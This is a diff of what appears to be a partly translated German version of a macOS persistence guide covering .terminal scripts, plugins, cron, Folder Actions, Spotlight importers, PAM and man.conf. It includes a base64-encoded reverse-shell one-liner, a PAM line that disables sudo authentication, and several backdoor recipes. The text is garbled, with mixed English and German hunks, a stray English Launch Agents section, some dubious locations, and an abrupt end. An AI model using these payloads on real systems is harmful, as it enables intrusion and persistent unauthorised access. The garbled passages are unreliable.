-Wenn Sie ein [**`.terminal`**-Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminal-Anwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), wird Ihr Befehl mit diesen besonderen Berechtigungen ausgeführt.
+Wenn Sie ein [**`.terminal`** Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminalanwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), werden Ihre Befehle mit diesen besonderen Berechtigungen ausgeführt.
Probieren Sie es aus:
```bash
@@ -268,48 +268,42 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;
```
-You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal.
-
-{% hint style="danger" %}
-If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window).
-{% endhint %}
-
-### Audio Plugins
+### Audio-Plugins
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
-* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button)
-* TCC bypass: [🟠](https://emojipedia.org/large-orange-circle)
-* You might get some extra TCC access
+* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
+* TCC-Umgehung: [🟠](https://emojipedia.org/large-orange-circle)
+* Möglicherweise zusätzlicher TCC-Zugriff
-#### Location
+#### Standort
* **`/Library/Audio/Plug-Ins/HAL`**
-* Root required
-* **Trigger**: Restart coreaudiod or the computer
+ * Benötigt Root-Zugriff
+ * **Auslöser**: Neustart von coreaudiod oder des Computers
* **`/Library/Audio/Plug-ins/Components`**
-* Root required
-* **Trigger**: Restart coreaudiod or the computer
+ * Benötigt Root-Zugriff
+ * **Auslöser**: Neustart von coreaudiod oder des Computers
* **`~/Library/Audio/Plug-ins/Components`**
-* **Trigger**: Restart coreaudiod or the computer
+ * **Auslöser**: Neustart von coreaudiod oder des Computers
* **`/System/Library/Components`**
-* Root required
-* **Trigger**: Restart coreaudiod or the computer
+ * Benötigt Root-Zugriff
+ * **Auslöser**: Neustart von coreaudiod oder des Computers
-#### Description
+#### Beschreibung
-According to the previous writeups it's possible to **compile some audio plugins** and get them loaded.
+Laut den vorherigen Berichten ist es möglich, **einige Audio-Plugins zu kompilieren** und sie zu laden.
-### QuickLook Plugins
+### QuickLook-Plugins
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
-* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button)
-* TCC bypass: [🟠](https://emojipedia.org/large-orange-circle)
-* You might get some extra TCC access
+* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
+* TCC-Umgehung: [🟠](https://emojipedia.org/large-orange-circle)
+* Möglicherweise zusätzlicher TCC-Zugriff
-#### Location
+#### Standort
* `/System/Library/QuickLook`
* `/Library/QuickLook`
@@ -317,29 +311,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
-#### Description & Exploitation
+#### Beschreibung & Ausnutzung
-QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed.
+QuickLook-Plugins können ausgeführt werden, wenn Sie die **Vorschau einer Datei auslösen** (Leertaste drücken, wenn die Datei in Finder ausgewählt ist) und ein **Plugin, das diesen Dateityp unterstützt**, installiert ist.
-It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it.
+Es ist möglich, Ihr eigenes QuickLook-Plugin zu kompilieren, es an einem der vorherigen Standorte zu platzieren, um es zu laden, und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen.
-### ~~Login/Logout Hooks~~
+### ~~Anmelde-/Abmelde-Hooks~~
{% hint style="danger" %}
-This didn't work for me, neither with the user LoginHook nor with the root LogoutHook
+Das hat bei mir nicht funktioniert, weder mit dem Benutzer-LoginHook noch mit dem Root-LogoutHook
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
-* Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button)
-* TCC bypass: [🔴](https://emojipedia.org/large-red-circle)
+* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
+* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
-#### Location
+#### Standort
-* You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
-* `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist`
+* Sie müssen in der Lage sein, etwas wie `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` auszuführen
+* Befindet sich in `~/Library/Preferences/com.apple.loginwindow.plist`
-They are deprecated but can be used to execute commands when a user logs in.
+Sie sind veraltet, können aber verwendet werden, um Befehle auszuführen, wenn sich ein Benutzer anmeldet.
```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
@@ -371,7 +365,7 @@ Der Root-Benutzer wird in **`/private/var/root/Library/Preferences/com.apple.log
## Bedingte Sandbox-Umgehung
{% hint style="success" %}
-Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte Programme, "ungewöhnliche" Benutzeraktionen oder Umgebungen.
+Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte **Programme, "ungewöhnliche" Benutzer**-Aktionen oder Umgebungen.
{% endhint %}
### Cron
@@ -391,18 +385,18 @@ Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die
#### Beschreibung & Ausnutzung
-Liste die Cron-Jobs des **aktuellen Benutzers** auf mit:
+Listen Sie die Cron-Jobs des **aktuellen Benutzers** auf mit:
```bash
crontab -l
```
-Sie können auch alle Cron-Jobs der Benutzer in **`/usr/lib/cron/tabs/`** und **`/var/at/tabs/`** (benötigt Root-Zugriff) einsehen.
+Du kannst auch alle Cron-Jobs der Benutzer in **`/usr/lib/cron/tabs/`** und **`/var/at/tabs/`** (benötigt Root-Zugriff) einsehen.
-In MacOS können in mehreren Ordnern Skripte mit **bestimmter Häufigkeit** ausgeführt werden:
+In MacOS können mehrere Ordner gefunden werden, die Skripte mit **bestimmter Häufigkeit** ausführen:
```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
-Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien verwendet). Die täglichen periodischen Jobs können beispielsweise mit dem Befehl `periodic daily` ausgeführt werden.
+Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien). Die täglichen periodischen Jobs können beispielsweise mit `periodic daily` ausgeführt werden.
Um **benutzerdefinierte Cron-Jobs programmgesteuert hinzuzufügen**, ist es möglich, zu verwenden:
```bash
@@ -420,11 +414,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
#### Standorte
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
-* **Auslöser**: Öffnen von iTerm
+* **Auslöser**: iTerm öffnen
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
-* **Auslöser**: Öffnen von iTerm
+* **Auslöser**: iTerm öffnen
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
-* **Auslöser**: Öffnen von iTerm
+* **Auslöser**: iTerm öffnen
#### Beschreibung & Ausnutzung
@@ -443,23 +437,23 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
-- `/Library/LaunchAgents/`
-- `/System/Library/LaunchAgents/`
-- `/Users//Library/LaunchAgents/`
+- `/Library/LaunchAgents`
+- `/System/Library/LaunchAgents`
+- `/Users//Library/LaunchAgents`
#### Launch Daemons
Launch Daemons are used to run processes at system startup. They are located in the following directories:
-- `/Library/LaunchDaemons/`
-- `/System/Library/LaunchDaemons/`
+- `/Library/LaunchDaemons`
+- `/System/Library/LaunchDaemons`
#### Startup Items
Startup Items are legacy and deprecated but may still be present on older systems. They are located in the following directories:
-- `/Library/StartupItems/`
-- `/System/Library/StartupItems/`
+- `/Library/StartupItems`
+- `/System/Library/StartupItems`
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@@ -524,7 +518,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
* TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button)
* Es fordert Zugriffsberechtigungen für die Bedienungshilfen an
-#### Standort
+#### Ort
* **`~/Library/Application\ Support/xbar/plugins/`**
* **Auslöser**: Sobald xbar ausgeführt wird
@@ -543,10 +537,10 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
-* Nützlich, um die Sandbox zu umgehen: [✅](https://emojipedia.org/check-mark-button)
+* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
* Aber Hammerspoon muss installiert sein
* TCC-Umgehung: [✅](https://emojipedia.org/check-mark-button)
-* Es fordert Zugriffsberechtigungen für die Bedienungshilfen an
+* Es fordert Zugriffsberechtigungen für Bedienungshilfen an
#### Standort
@@ -557,7 +551,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dient als Automatisierungsplattform für **macOS** und nutzt die **LUA-Skriptsprache** für seine Operationen. Es unterstützt die Integration von vollständigem AppleScript-Code und die Ausführung von Shell-Skripten, was seine Skriptfähigkeiten erheblich verbessert.
-Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn gestartet, wird das Skript ausgeführt.
+Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn sie gestartet wird, wird das Skript ausgeführt.
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
@@ -588,7 +582,7 @@ Dieses Tool ermöglicht es, Anwendungen oder Skripte anzugeben, die ausgeführt
* `???`
-Es ermöglicht die Erstellung von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).
+Es ermöglicht das Erstellen von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).
### SSHRC
@@ -608,7 +602,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **Auslöser**: Anmeldung über SSH
{% hint style="danger" %}
-Um SSH zu aktivieren, ist Vollzugriff auf den Datenträger erforderlich:
+Um SSH einzuschalten, ist Vollzugriff auf den Datenträger erforderlich:
```bash
sudo systemsetup -setremotelogin on
```
@@ -651,19 +645,19 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Diese Elemente werden in der Datei **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** gespeichert.
-**Anmeldeobjekte** können auch über die API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert.
+**Anmeldeobjekte** können auch mit der API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert.
### ZIP als Anmeldeobjekt
(Siehe vorherigen Abschnitt über Anmeldeobjekte, dies ist eine Erweiterung)
-Wenn Sie eine **ZIP**-Datei als **Anmeldeobjekt** speichern, wird das **`Archive-Dienstprogramm`** es öffnen. Wenn die ZIP-Datei beispielsweise in **`~/Library`** gespeichert war und den Ordner **`LaunchAgents/file.plist`** mit einem Backdoor enthielt, wird dieser Ordner erstellt (standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Mal, wenn sich der Benutzer erneut anmeldet, die im plist angegebene **Backdoor ausgeführt wird**.
+Wenn Sie eine **ZIP**-Datei als **Anmeldeobjekt** speichern, wird das **`Archive-Dienstprogramm`** es öffnen. Wenn die ZIP-Datei beispielsweise in **`~/Library`** gespeichert war und den Ordner **`LaunchAgents/file.plist`** mit einer Hintertür enthielt, wird dieser Ordner erstellt (standardmäßig nicht vorhanden) und die plist wird hinzugefügt, sodass beim nächsten Mal, wenn sich der Benutzer erneut anmeldet, die **in der plist angegebene Hintertür ausgeführt wird**.
-Eine weitere Option wäre, die Dateien **`.bash_profile`** und **`.zshenv`** im Benutzer-HOME zu erstellen, sodass diese Technik auch funktionieren würde, wenn der Ordner LaunchAgents bereits existiert.
+Eine andere Möglichkeit wäre, die Dateien **`.bash_profile`** und **`.zshenv`** im Benutzer-HOME zu erstellen, sodass diese Technik auch funktionieren würde, wenn der Ordner LaunchAgents bereits existiert.
### At
-Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
+Bericht: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Nützlich zur Umgehung der Sandbox: [✅](https://emojipedia.org/check-mark-button)
* Aber Sie müssen **`at`** **ausführen** und es muss **aktiviert** sein
@@ -681,7 +675,7 @@ Standardmäßig sind sie **deaktiviert**, aber der **root**-Benutzer kann **sie*
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
-Dies wird eine Datei in 1 Stunde erstellen:
+Dies wird in 1 Stunde eine Datei erstellen:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
@@ -726,7 +720,7 @@ echo 11 > /tmp/at.txt
Wenn AT-Aufgaben nicht aktiviert sind, werden die erstellten Aufgaben nicht ausgeführt.
{% endhint %}
-Die **Jobdateien** befinden sich unter `/private/var/at/jobs/`
+Die **Job-Dateien** befinden sich unter `/private/var/at/jobs/`
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
@@ -763,7 +757,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
#### Beschreibung & Ausnutzung
-Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen, Entfernen von Elementen oder andere Aktionen wie das Öffnen oder Ändern der Fenstergröße des Ordners. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle.
+Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen oder Entfernen von Elementen oder anderen Aktionen wie das Öffnen oder Ändern der Größe des Ordnerfensters. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle.
Um Ordneraktionen einzurichten, haben Sie Optionen wie:
@@ -796,7 +790,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
-Führen Sie das Einrichtungsskript mit aus:
+Führen Sie das Einrichtungsskript mit:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
@@ -828,7 +822,7 @@ Dann öffnen Sie die `Folder Actions Setup`-App, wählen Sie den **Ordner, den S
Wenn Sie nun diesen Ordner mit dem **Finder** öffnen, wird Ihr Skript ausgeführt.
-Diese Konfiguration wurde im **plist** im Base64-Format gespeichert, das sich in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet.
+Diese Konfiguration wurde im **plist** im base64-Format gespeichert, das sich unter **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet.
Nun versuchen wir, diese Persistenz ohne GUI-Zugriff vorzubereiten:
@@ -844,7 +838,7 @@ Jetzt, da wir eine leere Umgebung haben
4. Öffnen Sie die Folder Actions Setup.app, um diese Konfiguration zu übernehmen: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
-Und das hat bei mir nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :(
+Bei mir hat das nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :(
{% endhint %}
### Dock-Verknüpfungen
@@ -942,9 +936,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
* `/Library/ColorPickers`
* Root erforderlich
-* Auslöser: Verwenden des Farbauswählers
+* Auslöser: Verwenden Sie den Farbauswähler
* `~/Library/ColorPickers`
-* Auslöser: Verwenden des Farbauswählers
+* Auslöser: Verwenden Sie den Farbauswähler
#### Beschreibung & Exploit
@@ -988,25 +982,25 @@ pluginkit -e use -i com.example.InSync.InSync
```
### Bildschirmschoner
-Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
-Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
+Erklärung: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
+Erklärung: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle)
-* Aber Sie werden in einer allgemeinen Anwendungs-Sandbox enden
+* Aber Sie werden in einer gängigen Anwendungs-Sandbox landen
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
#### Ort
* `/System/Library/Screen Savers`
-* Root erforderlich
+* Benötigt Root-Rechte
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
* `/Library/Screen Savers`
-* Root erforderlich
+* Benötigt Root-Rechte
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
* `~/Library/Screen Savers`
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
-
+
#### Beschreibung & Exploit
@@ -1026,10 +1020,10 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
-Beachten Sie, dass Sie aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), **`com.apple.security.app-sandbox`** finden können, dass Sie **innerhalb des üblichen Anwendungssandkastens** sind.
+Beachten Sie, dass aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), Sie sich **innerhalb des üblichen Anwendungssandkastens** befinden.
{% endhint %}
-Saver-Code:
+Sparcode:
```objectivec
//
// ScreenSaverExampleView.m
@@ -1100,7 +1094,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle)
-* Aber du wirst in einer Anwendungs-Sandbox enden
+* Aber Sie werden in einer Anwendungs-Sandbox enden
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
* Die Sandbox scheint sehr begrenzt zu sein
@@ -1121,9 +1115,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
#### Beschreibung & Ausnutzung
Spotlight ist die integrierte Suchfunktion von macOS, die Benutzern einen **schnellen und umfassenden Zugriff auf Daten auf ihren Computern** bietet.\
-Um diese schnelle Suchfunktion zu ermöglichen, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht.
+Um diese schnelle Suchfunktion zu erleichtern, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht.
-Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight das Verstehen und Indizieren von Inhalten über eine Vielzahl von Dateiformaten hinweg ermöglichen.
+Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight ermöglichen, Inhalte in einer Vielzahl von Dateiformaten zu verstehen und zu indizieren.
Die Plugins oder **`.mdimporter`**-Bundles befinden sich an den zuvor genannten Orten, und wenn ein neues Bundle erscheint, wird es innerhalb von Minuten geladen (keine Notwendigkeit, einen Dienst neu zu starten). Diese Bundles müssen angeben, welche **Dateitypen und Erweiterungen sie verwalten können**, auf diese Weise wird Spotlight sie verwenden, wenn eine neue Datei mit der angegebenen Erweiterung erstellt wird.
@@ -1181,7 +1175,7 @@ Darüber hinaus haben Systemstandard-Plugins immer Vorrang, sodass ein Angreifer
Um Ihren eigenen Importeur zu erstellen, könnten Sie mit diesem Projekt beginnen: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) und dann den Namen ändern, die **`CFBundleDocumentTypes`** ändern und **`UTImportedTypeDeclarations`** hinzufügen, damit es die Erweiterung unterstützt, die Sie unterstützen möchten, und diese in **`schema.xml`** reflektieren.\
Ändern Sie dann den Code der Funktion **`GetMetadataForFile`**, um Ihr Payload auszuführen, wenn eine Datei mit der verarbeiteten Erweiterung erstellt wird.
-Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die **Logs überwachen** oder **`mdimport -L`** überprüfen.
+Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die Protokolle überwachen oder **`mdimport -L`** überprüfen.
### ~~Einstellungsfenster~~
@@ -1231,6 +1225,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
#### Beschreibung & Ausnutzung
Die periodischen Skripte (**`/etc/periodic`**) werden aufgrund der in `/System/Library/LaunchDaemons/com.apple.periodic*` konfigurierten **Startdaemons** ausgeführt. Beachten Sie, dass Skripte, die in `/etc/periodic/` gespeichert sind, als **Besitzer der Datei** ausgeführt werden, sodass dies nicht für einen potenziellen Privilegierungswechsel funktioniert.
+{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@@ -1273,7 +1268,7 @@ monthly_local="/etc/monthly.local" # Local scripts
Wenn es Ihnen gelingt, eine der Dateien `/etc/daily.local`, `/etc/weekly.local` oder `/etc/monthly.local` zu schreiben, wird sie **früher oder später ausgeführt**.
{% hint style="warning" %}
-Beachten Sie, dass das periodische Skript als **Besitzer des Skripts ausgeführt wird**. Wenn also ein regulärer Benutzer das Skript besitzt, wird es als dieser Benutzer ausgeführt (dies kann Angriffe zur Privilegieneskalation verhindern).
+Beachten Sie, dass das periodische Skript als Besitzer des Skripts **ausgeführt wird**. Wenn also ein regulärer Benutzer das Skript besitzt, wird es als dieser Benutzer ausgeführt (dies kann Angriffe zur Privilegieneskalation verhindern).
{% endhint %}
### PAM
@@ -1285,7 +1280,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
* Aber Sie müssen root sein
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
-#### Standort
+#### Ort
* Root immer erforderlich
@@ -1297,11 +1292,11 @@ Da PAM mehr auf **Persistenz** und Malware als auf einfache Ausführung in macOS
```bash
ls -l /etc/pam.d
```
-Eine Persistenz-/Privileg-Eskalationstechnik, die PAM missbraucht, ist so einfach wie die Modifizierung des Moduls /etc/pam.d/sudo durch Hinzufügen der Zeile am Anfang:
+Eine Persistenz-/Privileg Eskalationstechnik, die PAM ausnutzt, ist so einfach wie die Modifikation des Moduls /etc/pam.d/sudo durch das Hinzufügen der Zeile am Anfang:
```bash
auth sufficient pam_permit.so
```
-So wird es **etwa so aussehen**:
+So wird es **aussehen wie** etwas in dieser Art:
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
@@ -1397,7 +1392,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
#### Beschreibung & Exploit
-Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, ein Backdoor ausgeführt wird.
+Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte also so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, eine Hintertür ausgeführt wird.
Zum Beispiel in **`/private/etc/man.conf`** festlegen:
```
@@ -1428,13 +1423,15 @@ touch /tmp/manconf
#### Beschreibung & Exploit
-Sie können in `/etc/apache2/httpd.conf` angeben, dass ein Modul geladen wird, indem Sie eine Zeile hinzufügen wie:
+Sie können in `/etc/apache2/httpd.conf` angeben, ein Modul zu laden, indem Sie eine Zeile hinzufügen wie:
+
+{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
-Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen.
+Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder Sie ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen.
Dann, falls erforderlich, um sicherzustellen, dass der Server gestartet wird, könnten Sie ausführen:
```bash
@@ -1472,8 +1469,6 @@ Immer wenn auditd eine Warnung erkennt, wird das Skript **`/etc/security/audit_w
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
-Du könntest eine Warnung erzwingen mit `sudo audit -n`.
-
### Startobjekte
{% hint style="danger" %}
@@ -1546,41 +1541,41 @@ Startup Items are legacy items that automatically launch when a user logs in. Th
#### Cron Jobs
-Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command:
-
-```bash
-crontab -l
-```
-
-#### Periodic Jobs
-
-Periodic Jobs are scripts that run daily, weekly, and monthly. They are located in:
-
-```plaintext
-/etc/periodic/daily
-/etc/periodic/weekly
-/etc/periodic/monthly
-```
+Cron Jobs are scheduled tasks that run at specific times. They are managed using the `crontab` command in the Terminal.
#### Kernel Extensions
-Kernel Extensions are drivers that load when the system starts. They are located in:
+Kernel Extensions are drivers that run at a low level in the operating system. They are located in:
```plaintext
/Library/Extensions
/System/Library/Extensions
```
-#### Launch Agents and Daemons Plists
+#### Third-Party Extensions
-The property list (plist) files for Launch Agents and Daemons are located in the LaunchAgents and LaunchDaemons directories. They have `.plist` file extensions.
+Third-Party Extensions are additional drivers or software that can impact system performance. They are located in:
```plaintext
-~/Library/LaunchAgents/*.plist
-/Library/LaunchAgents/*.plist
-/Library/LaunchDaemons/*.plist
+/Library/Application Support
```
+#### System Preferences
+
+System Preferences can also contain items that automatically start at login. Check:
+
+```plaintext
